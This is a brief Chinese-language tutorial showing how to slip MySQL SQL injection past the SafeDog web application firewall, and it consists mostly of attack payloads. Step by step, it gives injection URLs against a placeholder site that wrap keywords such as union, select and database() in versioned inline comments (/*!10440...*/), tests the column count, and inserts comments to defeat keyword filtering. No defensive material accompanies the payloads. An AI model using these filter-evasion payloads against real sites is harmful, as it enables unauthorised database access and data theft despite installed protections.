MYSQL绕过安全狗:
内联注释法:/*! */
首先测试拦截关键字:and 1=1
被拦
http://xxxx.com:8888/int.php?id=5 and 1=1
内联注释测试:/*!10440and*/1=1
可以看到已经绕过了安全狗检测,/*!数字and*/1=1
,内联注释中的数字是通过模糊测试出来的。
注意:/*!数字*/ 数字小于数据库版本关键字会执行,大于数据库的版本关键字不会执行,看作注释字符串。
继续测试其他关键字:
Order by 测试
http://xxxx.com:8888/int.php?id=5 order by 5
居然没拦截,好,继续测试其他关键字。
通过测试知道order by 5。继续来看回显位。
Union select 测试:
http://xxxx.com:8888/int.php?id=-5 union select 1,2,3,4,5
被拦,好,用之前测试好的内联注释试试。
http://xxxx.com:8888/int.php?id=-5/*!10440union*//*!10440select*/1,2,3,4,5
还是可以绕过去的,继续来显示数据名称试试。
http://xxx.com:8888/int.php?id=-5/*!10440union*//*!10440select*//*!10440database()*/,2,3,4,5
经测试database不拦,加上()括号就被拦,可以在database和()之间加一段注释试一下。
http://xxx.com:8888/int.php?id=-5/*!10440union*//*!10440select*//*!10440database/**/()*/,2,3,4,5